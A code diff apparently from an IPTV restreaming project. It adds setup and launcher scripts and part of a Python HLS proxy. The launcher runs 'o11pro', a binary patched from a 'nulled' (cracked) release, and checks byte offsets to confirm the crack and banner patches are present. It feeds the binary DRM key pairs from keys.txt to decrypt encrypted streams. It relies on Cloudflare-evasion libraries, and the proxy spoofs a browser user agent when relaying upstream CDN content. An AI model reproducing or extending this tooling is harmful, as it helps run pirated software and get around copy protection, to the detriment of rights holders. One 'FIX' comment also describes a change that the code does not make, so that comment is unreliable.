-77 -77 -265 -127 -370 -201 -420 -553 -690 -1021 -785 -111 -22 -192 -29
|
||||
-342 -29 -144 -1 -257 8 -328 24 -26 5 -64 13 -85 16 -73 11 -246 75 -350 129
|
||||
-191 98 -345 229 -471 400 -72 98 -77 107 -131 210 -161 305 -222 742 -159
|
||||
1130 75 462 307 829 664 1052 193 121 448 203 682 219 48 4 89 7 90 8 5 4 203
|
||||
-2 258 -8z"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 3.3 KiB |
@@ -1,15 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="theme-color" content="#0c0c0c">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
<script type="module" crossorigin src="/static/index-BX-yLeHZ.js"></script>
|
||||
<link rel="modulepreload" crossorigin href="/static/vendor-modules-BcUHiSD3.js">
|
||||
<link rel="stylesheet" crossorigin href="/static/index-Bj6KzdKF.css">
|
||||
</head>
|
||||
<body style="background-color: #070707">
|
||||
<div id="app"></div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,145 @@
|
||||
#!/usr/bin/env bash
|
||||
# setup.sh – Fully automatic environment setup + launcher
|
||||
#
|
||||
# Fixed for src/ layout: binary, configs, and RunMe.sh live under src/
|
||||
# This script creates the venv at the project root and delegates to src/RunMe.sh
|
||||
#
|
||||
# Usage:
|
||||
# ./setup.sh # o11pro + hls_proxy (default)
|
||||
# MONITOR=true ./setup.sh # o11pro + hls_proxy + security monitor
|
||||
# HLS_PROXY=false ./setup.sh # o11pro only
|
||||
# MONITOR=true HLS_PROXY=false ./setup.sh # o11pro + security monitor only
|
||||
# ./setup.sh 8080 # custom port
|
||||
# ./setup.sh 8080 4 # custom port + verbose=4
|
||||
#
|
||||
# Environment variables (pass before or alongside):
|
||||
# MONITOR=true Enable security monitoring proxy (port 19998)
|
||||
# MONITOR_PORT=19998 Monitor proxy port
|
||||
# HLS_PROXY=true Enable HLS rewrite proxy (port 9999)
|
||||
# HLS_PROXY_PORT=9999 HLS proxy port
|
||||
# GOMEMLIMIT=4G Override Go memory limit
|
||||
# MAX_STREAMS=8 Limit concurrent streams
|
||||
# ADMIN_USER=admin Static admin username
|
||||
# ADMIN_PASS=secret Static admin password
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SETUP_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
SRC_DIR="$SETUP_DIR/src"
|
||||
|
||||
echo "=========================================="
|
||||
echo " Automatic setup and launch"
|
||||
echo " Project root: $SETUP_DIR"
|
||||
echo " Source dir: $SRC_DIR"
|
||||
echo "=========================================="
|
||||
|
||||
if ! command -v python3 &> /dev/null; then
|
||||
echo "Python 3 not found. Installing..."
|
||||
if command -v apt-get &> /dev/null; then
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y python3 python3-venv python3-pip
|
||||
elif command -v yum &> /dev/null; then
|
||||
sudo yum install -y python3 python3-pip
|
||||
else
|
||||
echo "ERROR: No supported package manager. Please install Python 3 manually."
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo "Python 3 is installed: $(python3 --version)"
|
||||
fi
|
||||
|
||||
VENV_DIR="$SETUP_DIR/venv"
|
||||
if [ ! -d "$VENV_DIR" ]; then
|
||||
echo "Creating virtual environment in $VENV_DIR ..."
|
||||
python3 -m venv "$VENV_DIR"
|
||||
echo "Virtual environment created."
|
||||
else
|
||||
echo "Virtual environment already exists."
|
||||
fi
|
||||
|
||||
echo "Installing / updating requirements from requirements.txt ..."
|
||||
"$VENV_DIR/bin/pip" install --upgrade pip -q 2>&1 | tail -1
|
||||
if [ -f "$SETUP_DIR/requirements.txt" ]; then
|
||||
"$VENV_DIR/bin/pip" install -r "$SETUP_DIR/requirements.txt" -q 2>&1 | tail -3
|
||||
echo "Dependencies installed."
|
||||
else
|
||||
echo "Warning: requirements.txt not found – skipping package installation."
|
||||
fi
|
||||
|
||||
RUNME="$SRC_DIR/RunMe.sh"
|
||||
if [ -f "$RUNME" ]; then
|
||||
# Make it executable
|
||||
chmod +x "$RUNME"
|
||||
|
||||
# Check if we already patched it (look for our marker)
|
||||
if ! grep -q "# VENV_PATCHED" "$RUNME"; then
|
||||
echo "Patching RunMe.sh to use virtual environment..."
|
||||
# Insert venv PATH right after the existing export PATH line
|
||||
sed -i.bak \
|
||||
-e 's|^export PATH="/usr/bin:/bin:/usr/local/bin:${PATH:-}"|# VENV_PATCHED\nexport PATH="'"$VENV_DIR"'/bin:/usr/bin:/bin:/usr/local/bin:${PATH:-}"|' \
|
||||
"$RUNME"
|
||||
echo "RunMe.sh patched (backup saved as RunMe.sh.bak)"
|
||||
else
|
||||
echo "RunMe.sh already patched."
|
||||
fi
|
||||
else
|
||||
echo "ERROR: RunMe.sh not found at $RUNME"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Checking required files in $SRC_DIR ..."
|
||||
REQUIRED_FILES=("o11pro" "o11.cfg" "providers/sample.cfg")
|
||||
MISSING=0
|
||||
for f in "${REQUIRED_FILES[@]}"; do
|
||||
if [ ! -f "$SRC_DIR/$f" ]; then
|
||||
echo "ERROR: Required file 'src/$f' not found."
|
||||
MISSING=1
|
||||
fi
|
||||
done
|
||||
if [ $MISSING -eq 1 ]; then
|
||||
echo "Please place all required files under src/."
|
||||
exit 1
|
||||
fi
|
||||
echo "All required files present."
|
||||
|
||||
echo "Building hls_proxy channel URL config ..."
|
||||
"$VENV_DIR/bin/python3" -c "
|
||||
import json, sys
|
||||
cfg_path = '$SRC_DIR/providers/sample.cfg'
|
||||
out_path = '/tmp/o11pro_orig_urls.json'
|
||||
try:
|
||||
d = json.load(open(cfg_path))
|
||||
urls = {}
|
||||
for s in d.get('Streams', []):
|
||||
name = s.get('Name', '')
|
||||
manifest = s.get('Manifest', '')
|
||||
if name and manifest:
|
||||
urls[name] = manifest
|
||||
if urls:
|
||||
json.dump(urls, open(out_path, 'w'), indent=2, ensure_ascii=False)
|
||||
print(f' Wrote {len(urls)} channel URLs to {out_path}')
|
||||
else:
|
||||
print(' WARNING: No channel URLs found in provider config')
|
||||
json.dump({}, open(out_path, 'w'))
|
||||
except Exception as e:
|
||||
print(f' WARNING: Could not build URL config: {e}')
|
||||
json.dump({}, open(out_path, 'w'))
|
||||
"
|
||||
|
||||
echo ""
|
||||
MODE_PARTS=("o11pro :${1:-19999}") # FIX: was $1 (unbound when no args)
|
||||
if [ "${HLS_PROXY:-true}" = "true" ]; then
|
||||
MODE_PARTS+=("hls_proxy :${HLS_PROXY_PORT:-9999}")
|
||||
fi
|
||||
if [ "${MONITOR:-false}" = "true" ]; then
|
||||
MODE_PARTS+=("monitoring :${MONITOR_PORT:-19998}")
|
||||
fi
|
||||
echo "Launch mode: ${MODE_PARTS[*]}"
|
||||
|
||||
echo ""
|
||||
echo "=========================================="
|
||||
echo " Launching RunMe.sh with venv Python"
|
||||
echo "=========================================="
|
||||
# cd into src/ so RunMe.sh finds its binary and configs
|
||||
cd "$SRC_DIR"
|
||||
exec ./RunMe.sh "$@"
|
||||
@@ -0,0 +1,368 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# RunMe.sh Launcher for o11pro
|
||||
#
|
||||
# Incorporates all fixes from the analysis:
|
||||
# - KID format patch (DRM key lookup)
|
||||
# - Banner string patches (nulled!! -> Ap0dexMe0)
|
||||
# - Provider config fixes (StreamsCount, PipeOutputCmdFormated)
|
||||
# - Memory mitigation (-keep=false, GOMEMLIMIT)
|
||||
# - Correct PATH for python3.13 dependencies
|
||||
#
|
||||
# Usage:
|
||||
# ./RunMe.sh # Run with defaults (port 19999, verbose=2)
|
||||
# ./RunMe.sh 8080 # Run on custom port
|
||||
# ./RunMe.sh 8080 4 # Run on port 8080 with verbose=4 (trace)
|
||||
# GOMEMLIMIT=4G ./RunMe.sh # Override memory limit
|
||||
# MAX_STREAMS=8 ./RunMe.sh # Override max concurrent streams
|
||||
# MONITOR=true ./RunMe.sh # Enable security monitoring proxy
|
||||
# HLS_PROXY=false ./RunMe.sh # Disable HLS proxy
|
||||
#
|
||||
# Files required (in same directory as this script):
|
||||
# o11pro Patched binary
|
||||
# o11.cfg Global config
|
||||
# providers/sample.cfg Provider config
|
||||
# keys.txt DRM KID:key pairs (optional)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Configuration
|
||||
|
||||
# Security monitor: set to true to run through the HTTP proxy/monitor
|
||||
# Architecture: Client -> :19998 (proxy/monitor) -> :19999 (real o11 API)
|
||||
MONITOR="${MONITOR:-false}"
|
||||
|
||||
# Monitor proxy listen port (only used when MONITOR=true)
|
||||
MONITOR_PORT="${MONITOR_PORT:-19998}"
|
||||
|
||||
# FIX: HLS Proxy config was missing entirely
|
||||
# Architecture: Player -> :9999 (hls_proxy) -> upstream CDN
|
||||
HLS_PROXY="${HLS_PROXY:-true}"
|
||||
HLS_PROXY_PORT="${HLS_PROXY_PORT:-9999}"
|
||||
HLS_PROXY_BIND="${HLS_PROXY_BIND:-0.0.0.0}"
|
||||
HLS_PROXY_CONFIG="${HLS_PROXY_CONFIG:-/tmp/o11pro_orig_urls.json}"
|
||||
|
||||
# Path setup: need /usr/bin first so binary spawns python3.13 (has deps)
|
||||
# instead of venv python3.12 (lacks deps like curl_cffi, cloudscraper)
|
||||
# VENV_PATCHED
|
||||
export PATH="/home/z/my-project/o11/venv/bin:/usr/bin:/bin:/usr/local/bin:${PATH:-}"
|
||||
|
||||
# Port for HTTP API and streaming (default 19999, override with $1)
|
||||
PORT="${1:-19999}"
|
||||
|
||||
# FIX: was VERBOSE="${2:-2}" (always defaulted to 2 even when $2 was set)
|
||||
VERBOSE="${2:-2}"
|
||||
|
||||
# Bind address: 0.0.0.0 = all interfaces (use 127.0.0.1 for localhost-only)
|
||||
BIND="${BIND:-0.0.0.0}"
|
||||
|
||||
GOMEMLIMIT="${GOMEMLIMIT:-2GiB}"
|
||||
KEEP_FALSE=true
|
||||
MAX_STREAMS="${MAX_STREAMS:-0}"
|
||||
HTTPS="${HTTPS:-false}"
|
||||
ADMIN_USER="${ADMIN_USER:-}"
|
||||
ADMIN_PASS="${ADMIN_PASS:-}"
|
||||
|
||||
# Working directory (where binary and configs live)
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
cd "$SCRIPT_DIR"
|
||||
|
||||
# Pre-flight checks
|
||||
|
||||
echo "=========================================="
|
||||
echo " o11pro launcher"
|
||||
echo "=========================================="
|
||||
echo ""
|
||||
|
||||
BINARY="o11pro"
|
||||
if [ ! -f "$BINARY" ]; then
|
||||
echo "ERROR: Binary '$BINARY' not found in $SCRIPT_DIR"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Verify the binary has the KID patch (not the original REDA bug)
|
||||
KID_PATCH=$(python3 -c "
|
||||
with open('$BINARY','rb') as f:
|
||||
f.seek(0x15625cd)
|
||||
b = f.read(4)
|
||||
print('OK' if b == b'%02x' else 'MISSING')
|
||||
" 2>/dev/null || echo "CHECK_FAILED")
|
||||
|
||||
if [ "$KID_PATCH" != "OK" ]; then
|
||||
echo "WARNING: KID format patch not detected in binary!"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# Verify the string patch (nulled!! -> Ap0dexMe0)
|
||||
STRING_PATCH=$(python3 -c "
|
||||
with open('$BINARY','rb') as f:
|
||||
f.seek(0x1a6c350)
|
||||
b = f.read(9)
|
||||
print('OK' if b == b'Ap0dexMe0' else 'MISSING')
|
||||
" 2>/dev/null || echo "CHECK_FAILED")
|
||||
|
||||
if [ "$STRING_PATCH" != "OK" ]; then
|
||||
echo "NOTE: String patch (nulled!! -> Ap0dexMe0) not detected."
|
||||
echo ""
|
||||
fi
|
||||
|
||||
chmod +x "$BINARY"
|
||||
|
||||
if [ ! -f "o11.cfg" ]; then
|
||||
echo "ERROR: Global config 'o11.cfg' not found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ ! -f "providers/sample.cfg" ]; then
|
||||
echo "ERROR: Provider config 'providers/sample.cfg' not found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ ! -f "keys.txt" ]; then
|
||||
echo "WARNING: keys.txt not found encrypted streams will fail"
|
||||
echo ""
|
||||
else
|
||||
KEY_COUNT=$(grep -c ':' keys.txt 2>/dev/null || echo 0)
|
||||
echo "Found keys.txt with $KEY_COUNT KID:key pairs"
|
||||
fi
|
||||
|
||||
PYTHON_DEPS_OK=$(python3 -c "
|
||||
try:
|
||||
import curl_cffi, cloudscraper, dns, requests, requests_toolbelt, socks
|
||||
print('OK')
|
||||
except ImportError as e:
|
||||
print('MISSING: ' + str(e))
|
||||
" 2>/dev/null || echo "CHECK_FAILED")
|
||||
|
||||
if [ "$PYTHON_DEPS_OK" != "OK" ]; then
|
||||
echo "WARNING: Python dependencies missing: $PYTHON_DEPS_OK"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# Prepare directories
|
||||
|
||||
echo "Preparing directories..."
|
||||
mkdir -p hls/live keys epg dl manifests offair overlay logos fonts rec scripts logs providers
|
||||
|
||||
if [ -f "keys.txt" ] && [ ! -f "keys/keys.txt" ]; then
|
||||
cp keys.txt keys/ 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# Apply config overrides
|
||||
|
||||
if [ "$MAX_STREAMS" != "0" ]; then
|
||||
echo "Setting MaxConcurrentStreams=$MAX_STREAMS in provider config..."
|
||||
python3 -c "
|
||||
import json
|
||||
with open('providers/sample.cfg') as f:
|
||||
cfg = json.load(f)
|
||||
cfg['MaxConcurrentStreams'] = $MAX_STREAMS
|
||||
with open('providers/sample.cfg', 'w') as f:
|
||||
json.dump(cfg, f, indent=4, ensure_ascii=False)
|
||||
" 2>/dev/null || echo " (failed to patch config continuing with existing value)"
|
||||
fi
|
||||
|
||||
# Build command line
|
||||
|
||||
ARGS="-c o11.cfg -p $PORT -b $BIND -headless -stdout -v $VERBOSE"
|
||||
|
||||
if [ "$KEEP_FALSE" = "true" ]; then
|
||||
ARGS="$ARGS -keep=false"
|
||||
fi
|
||||
|
||||
if [ "$HTTPS" = "true" ]; then
|
||||
ARGS="$ARGS -https"
|
||||
if [ ! -f "server.crt" ] || [ ! -f "server.key" ]; then
|
||||
echo "WARNING: -https requested but server.crt/server.key not found"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -n "$ADMIN_USER" ] && [ -n "$ADMIN_PASS" ]; then
|
||||
ARGS="$ARGS -user $ADMIN_USER -password $ADMIN_PASS"
|
||||
fi
|
||||
|
||||
# Set Go runtime environment
|
||||
|
||||
if [ -n "$GOMEMLIMIT" ] && [ "$GOMEMLIMIT" != "0" ]; then
|
||||
GOMEMLIMIT_BYTES=$(python3 -c "
|
||||
import re
|
||||
s = '$GOMEMLIMIT'.strip()
|
||||
m = re.match(r'^(\d+(?:\.\d+)?)\s*([KMGT]i?B?|B)?$', s, re.I)
|
||||
if not m:
|
||||
print(0)
|
||||
else:
|
||||
n = float(m.group(1))
|
||||
unit = (m.group(2) or 'B').upper()
|
||||
mult = {'B':1, 'KB':1000, 'KIB':1024, 'MB':1000000, 'MIB':1048576,
|
||||
'GB':1000000000, 'GIB':1073741824, 'TB':1000000000000, 'TIB':1099511627776}
|
||||
print(int(n * mult.get(unit, 1)))
|
||||
" 2>/dev/null || echo "0")
|
||||
|
||||
if [ "$GOMEMLIMIT_BYTES" -gt 0 ]; then
|
||||
export GOMEMLIMIT="$GOMEMLIMIT_BYTES"
|
||||
echo "Go memory limit: $GOMEMLIMIT bytes ($GOMEMLIMIT_BYTES bytes)"
|
||||
fi
|
||||
fi
|
||||
|
||||
export GOTRACEBACK="${GOTRACEBACK:-0}"
|
||||
|
||||
# Kill any existing instance
|
||||
|
||||
EXISTING_PID=$(pgrep -f "o11pro.*-p $PORT" 2>/dev/null || true)
|
||||
if [ -n "$EXISTING_PID" ]; then
|
||||
echo "Killing existing instance on port $PORT (PID $EXISTING_PID)..."
|
||||
kill "$EXISTING_PID" 2>/dev/null || true
|
||||
sleep 2
|
||||
if kill -0 "$EXISTING_PID" 2>/dev/null; then
|
||||
kill -9 "$EXISTING_PID" 2>/dev/null || true
|
||||
sleep 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# Launch
|
||||
|
||||
echo ""
|
||||
echo "=========================================="
|
||||
echo " Launching o11pro"
|
||||
echo "=========================================="
|
||||
echo " Port: $PORT"
|
||||
echo " Bind: $BIND"
|
||||
echo " Verbose: $VERBOSE"
|
||||
echo " Keep files: false (memory-safe mode)"
|
||||
echo " Memory cap: ${GOMEMLIMIT:-none}"
|
||||
echo " Max streams: ${MAX_STREAMS:-unlimited}"
|
||||
echo " HTTPS: $HTTPS"
|
||||
echo " HLS Proxy: $HLS_PROXY${HLS_PROXY:+ (port $HLS_PROXY_PORT)}"
|
||||
echo " Security mon: $MONITOR${MONITOR:+ (port $MONITOR_PORT)}"
|
||||
echo " Config: o11.cfg + providers/sample.cfg"
|
||||
echo "=========================================="
|
||||
echo ""
|
||||
echo "Service endpoints:"
|
||||
if [ "$MONITOR" = "true" ]; then
|
||||
echo " Web UI (monitored): http://$BIND:$MONITOR_PORT (-> o11 :$PORT)"
|
||||
else
|
||||
echo " Web UI (direct): http://$BIND:$PORT"
|
||||
fi
|
||||
if [ "$HLS_PROXY" = "true" ]; then
|
||||
echo " HLS Proxy: http://$HLS_PROXY_BIND:$HLS_PROXY_PORT"
|
||||
echo " Channel manifest: http://$HLS_PROXY_BIND:$HLS_PROXY_PORT/channel/{name}/master.m3u8"
|
||||
fi
|
||||
if [ "$MONITOR" = "true" ]; then
|
||||
echo " Audit log: logs/audit.log"
|
||||
echo " Alert log: logs/audit_alerts.log"
|
||||
fi
|
||||
echo " (use 127.0.0.1 instead of 0.0.0.0 in your browser)"
|
||||
echo ""
|
||||
echo "Login: admin / <see temp password in log below>"
|
||||
echo ""
|
||||
|
||||
# FIX: Unified background PID tracking + cleanup (replaces separate handlers)
|
||||
_BG_PIDS=""
|
||||
|
||||
cleanup_all() {
|
||||
echo ""
|
||||
echo "Shutting down..."
|
||||
for pid in $_BG_PIDS; do
|
||||
kill "$pid" 2>/dev/null || true
|
||||
done
|
||||
for pid in $_BG_PIDS; do
|
||||
wait "$pid" 2>/dev/null || true
|
||||
done
|
||||
echo "All processes stopped"
|
||||
}
|
||||
|
||||
if [ "$MONITOR" = "true" ] || [ "$HLS_PROXY" = "true" ]; then
|
||||
# FIX: Background mode for both HLS_PROXY and MONITOR (were separate)
|
||||
trap cleanup_all EXIT INT TERM
|
||||
|
||||
# Start o11pro in background
|
||||
echo "Starting o11pro in background..."
|
||||
"./$BINARY" $ARGS & # FIX: was "$BINARY" (not in PATH)
|
||||
O11_PID=$!
|
||||
_BG_PIDS="$O11_PID"
|
||||
echo "o11pro started (PID $O11_PID)"
|
||||
|
||||
# Wait for o11pro to be ready
|
||||
echo "Waiting for o11pro to be ready on port $PORT..."
|
||||
for i in $(seq 1 30); do
|
||||
if python3 -c "import socket; s=socket.socket(); s.settimeout(1); s.connect(('127.0.0.1',$PORT)); s.close()" 2>/dev/null; then
|
||||
echo "o11pro is ready"
|
||||
break
|
||||
fi
|
||||
if [ $i -eq 30 ]; then
|
||||
echo "ERROR: o11pro did not start in time"
|
||||
kill "$O11_PID" 2>/dev/null || true
|
||||
exit 1
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
|
||||
# Start HLS Proxy if enabled
|
||||
if [ "$HLS_PROXY" = "true" ]; then
|
||||
if [ ! -f "modules/hls_proxy.py" ]; then
|
||||
echo "WARNING: modules/hls_proxy.py not found skipping HLS proxy"
|
||||
elif [ ! -f "$HLS_PROXY_CONFIG" ]; then
|
||||
echo "WARNING: HLS proxy config not found at $HLS_PROXY_CONFIG skipping HLS proxy"
|
||||
echo " Run setup.sh to auto-generate it from provider config"
|
||||
else
|
||||
echo "Starting HLS Proxy on port $HLS_PROXY_PORT..."
|
||||
python3 modules/hls_proxy.py \
|
||||
--config "$HLS_PROXY_CONFIG" \
|
||||
--port "$HLS_PROXY_PORT" \
|
||||
--bind "$HLS_PROXY_BIND" &
|
||||
HLS_PID=$!
|
||||
_BG_PIDS="$_BG_PIDS $HLS_PID"
|
||||
echo "HLS Proxy started (PID $HLS_PID)"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Start security monitor if enabled
|
||||
if [ "$MONITOR" = "true" ]; then
|
||||
if [ ! -f "modules/monitoring.py" ]; then
|
||||
echo "ERROR: modules/monitoring.py not found cannot start monitor"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# FIX: Build monitor command array with explicit --pid (avoids flaky auto-detection)
|
||||
# FIX: Log to persistent logs/ directory instead of /tmp
|
||||
MONITOR_CMD=(
|
||||
python3 modules/monitoring.py
|
||||
--proxy-mode
|
||||
--proxy-port "$MONITOR_PORT"
|
||||
--target-port "$PORT"
|
||||
--log "logs/audit.log"
|
||||
--alerts "logs/audit_alerts.log"
|
||||
)
|
||||
if [ -n "$O11_PID" ] && kill -0 "$O11_PID" 2>/dev/null; then
|
||||
MONITOR_CMD+=(--pid "$O11_PID")
|
||||
fi
|
||||
if [ -n "${MONITOR_ARGS:-}" ]; then
|
||||
MONITOR_CMD+=($MONITOR_ARGS)
|
||||
fi
|
||||
|
||||
echo "Security monitor enabled"
|
||||
echo " Proxy port: $MONITOR_PORT (-> o11 API :$PORT)"
|
||||
echo " Process scan: PID $O11_PID"
|
||||
echo " File watch: keys.txt, providers/, o11.cfg, logs/, hls/"
|
||||
echo " Audit log: logs/audit.log"
|
||||
echo " Alert log: logs/audit_alerts.log"
|
||||
echo ""
|
||||
echo "Starting security monitor on port $MONITOR_PORT..."
|
||||
echo "Press Ctrl+C to stop"
|
||||
echo ""
|
||||
|
||||
exec "${MONITOR_CMD[@]}"
|
||||
else
|
||||
# No foreground monitor keep the script alive
|
||||
echo ""
|
||||
echo "All services running. Press Ctrl+C to stop."
|
||||
echo ""
|
||||
wait -n 2>/dev/null || wait
|
||||
fi
|
||||
|
||||
else
|
||||
# Direct mode: run o11pro directly (no proxies)
|
||||
echo "Press Ctrl+C to stop"
|
||||
echo ""
|
||||
exec "./$BINARY" $ARGS # FIX: was "$BINARY" (not in PATH)
|
||||
fi
|
||||
@@ -0,0 +1,415 @@
|
||||
#!/usr/bin/env python3
|
||||
import http.server
|
||||
import http.cookiejar
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import json
|
||||
import re
|
||||
import base64
|
||||
import time
|
||||
import sys
|
||||
import os
|
||||
import argparse # FIX: was missing
|
||||
import threading
|
||||
import traceback
|
||||
import gc
|
||||
from collections import OrderedDict
|
||||
from socketserver import ThreadingMixIn
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
from urllib.parse import urlparse, parse_qs
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
|
||||
CONFIG_FILE = '/tmp/o11pro_orig_urls.json'
|
||||
PROXY_PORT = 9999
|
||||
PROXY_BIND = '127.0.0.1'
|
||||
UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36'
|
||||
|
||||
MAX_COOKIES_PER_JAR = 50
|
||||
MAX_CACHED_OPENERS = 20
|
||||
MANIFEST_CACHE_SIZE = 100
|
||||
MAX_THREAD_POOL = 32
|
||||
GC_INTERVAL_SEC = 60
|
||||
SEGMENT_STREAM_BUF = 65536
|
||||
|
||||
# Cached channel URLs (loaded once)
|
||||
_channel_urls = {}
|
||||
_channel_urls_lock = threading.Lock()
|
||||
|
||||
def _load_channel_urls():
|
||||
global _channel_urls
|
||||
with _channel_urls_lock:
|
||||
if not _channel_urls:
|
||||
with open(CONFIG_FILE) as f:
|
||||
_channel_urls = json.load(f)
|
||||
log(f"Loaded {len(_channel_urls)} channel URLs")
|
||||
return _channel_urls
|
||||
|
||||
# Bounded CookieJar
|
||||
class BoundedCookieJar(http.cookiejar.CookieJar):
|
||||
def __init__(self, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
|
||||
def set_cookie(self, cookie):
|
||||
super().set_cookie(cookie)
|
||||
if len(self) > MAX_COOKIES_PER_JAR:
|
||||
to_remove = len(self) - MAX_COOKIES_PER_JAR
|
||||
cookies = list(self)
|
||||
for c in cookies[:to_remove]:
|
||||
self.clear(c.domain, c.path, c.name)
|
||||
|
||||
# Session/Cookie management
|
||||
_sessions = {}
|
||||
_sessions_lock = threading.Lock()
|
||||
_session_last_access = {}
|
||||
|
||||
def _get_jar(domain):
|
||||
with _sessions_lock:
|
||||
if domain not in _sessions:
|
||||
_sessions[domain] = BoundedCookieJar()
|
||||
_session_last_access[domain] = time.time()
|
||||
return _sessions[domain]
|
||||
|
||||
def _evict_stale_sessions(max_age=3600):
|
||||
with _sessions_lock:
|
||||
now = time.time()
|
||||
stale = [d for d, t in _session_last_access.items() if now - t > max_age]
|
||||
for d in stale:
|
||||
del _sessions[d]
|
||||
del _session_last_access[d]
|
||||
if stale:
|
||||
log(f"Evicted {len(stale)} stale sessions, {len(_sessions)} remaining")
|
||||
|
||||
# Cached openers (LRU)
|
||||
_opener_cache = OrderedDict()
|
||||
_opener_cache_lock = threading.Lock()
|
||||
|
||||
def _get_opener(cookie_jar=None):
|
||||
jar_id = id(cookie_jar) if cookie_jar else 0
|
||||
with _opener_cache_lock:
|
||||
if jar_id in _opener_cache:
|
||||
_opener_cache.move_to_end(jar_id)
|
||||
return _opener_cache[jar_id]
|
||||
handlers = []
|
||||
if cookie_jar:
|
||||
handlers.append(urllib.request.HTTPCookieProcessor(cookie_jar))
|
||||
opener = urllib.request.build_opener(*handlers)
|
||||
with _opener_cache_lock:
|
||||
_opener_cache[jar_id] = opener
|
||||
_opener_cache.move_to_end(jar_id)
|
||||
while len(_opener_cache) > MAX_CACHED_OPENERS:
|
||||
_opener_cache.popitem(last=False)
|
||||
return opener
|
||||
|
||||
# URL fetching
|
||||
def fetch_url(url, timeout=15, cookie_jar=None, referer=None):
|
||||
opener = _get_opener(cookie_jar)
|
||||
headers = {'User-Agent': UA}
|
||||
if referer:
|
||||
headers['Referer'] = referer
|
||||
req = urllib.request.Request(url, headers=headers)
|
||||
try:
|
||||
with opener.open(req, timeout=timeout) as resp:
|
||||
return resp.read(), resp.status, resp.headers.get('Content-Type', 'application/octet-stream')
|
||||
except urllib.error.HTTPError as e:
|
||||
body = e.read() if e.fp else b''
|
||||
ct = e.headers.get('Content-Type', 'application/octet-stream') if e.headers else 'text/html'
|
||||
return body, e.code, ct
|
||||
except (urllib.error.URLError, OSError) as e:
|
||||
return b'', 0, 'text/plain'
|
||||
|
||||
# Manifest URL rewriting
|
||||
_compiled_uri_re = re.compile(r'URI="([^"]+)"')
|
||||
|
||||
def rewrite_manifest(body, base_url):
|
||||
lines = body.split('\n')
|
||||
rewritten = []
|
||||
for line in lines:
|
||||
stripped = line.strip()
|
||||
if 'URI="' in stripped and stripped.startswith('#EXT-X-'):
|
||||
rewritten.append(_compiled_uri_re.sub(
|
||||
lambda m: f'URI="{_abs(m.group(1), base_url)}"', stripped))
|
||||
elif stripped and not stripped.startswith('#'):
|
||||
rewritten.append(_abs(stripped, base_url))
|
||||
else:
|
||||
rewritten.append(line)
|
||||
return '\n'.join(rewritten)
|
||||
|
||||
def _abs(url, base):
|
||||
if url.startswith(f'http://127.0.0.1:{PROXY_PORT}') or url.startswith('data:'):
|
||||
return url
|
||||
resolved = url if url.startswith('http') else urllib.parse.urljoin(base, url)
|
||||
return _to_proxy(resolved, base)
|
||||
|
||||
def _to_proxy(full_url, referer):
|
||||
encoded = base64.urlsafe_b64encode(full_url.encode()).decode().rstrip('=')
|
||||
route = '/m/' if urlparse(full_url).path.lower().endswith('.m3u8') else '/s/'
|
||||
proxy_url = f"http://127.0.0.1:{PROXY_PORT}{route}{encoded}"
|
||||
if referer:
|
||||
ref_enc = base64.urlsafe_b64encode(referer.encode()).decode().rstrip('=')
|
||||
proxy_url += f"?r={ref_enc}"
|
||||
return proxy_url
|
||||
|
||||
def _from_proxy(encoded):
|
||||
pad = 4 - len(encoded) % 4
|
||||
if pad != 4:
|
||||
encoded += '=' * pad
|
||||
return base64.urlsafe_b64decode(encoded.encode()).decode()
|
||||
|
||||
def _get_referer(query_string):
|
||||
if not query_string:
|
||||
return None
|
||||
qs = parse_qs(query_string)
|
||||
if 'r' in qs:
|
||||
return _from_proxy(qs['r'][0])
|
||||
return None
|
||||
|
||||
# Stats
|
||||
_stats = {
|
||||
'requests': 0,
|
||||
'manifests': 0,
|
||||
'segments': 0,
|
||||
'bytes_sent': 0,
|
||||
'errors': 0,
|
||||
}
|
||||
_stats_lock = threading.Lock()
|
||||
|
||||
# Request Handler
|
||||
class RobustHandler(BaseHTTPRequestHandler):
|
||||
def do_GET(self):
|
||||
with _stats_lock:
|
||||
_stats['requests'] += 1
|
||||
parsed = urlparse(self.path)
|
||||
path = parsed.path
|
||||
query = parsed.query
|
||||
try:
|
||||
if path.startswith('/channel/'):
|
||||
self._handle_channel(path, query)
|
||||
elif path.startswith('/m/'):
|
||||
self._handle_manifest(path, query)
|
||||
elif path.startswith('/s/'):
|
||||
self._handle_segment(path, query)
|
||||
else:
|
||||
self._err(404, 'Not found')
|
||||
except Exception as e:
|
||||
with _stats_lock:
|
||||
_stats['errors'] += 1
|
||||
try:
|
||||
self._err(500, str(e))
|
||||
except:
|
||||
pass
|
||||
|
||||
def _handle_channel(self, path, query):
|
||||
parts = path.split('/')
|
||||
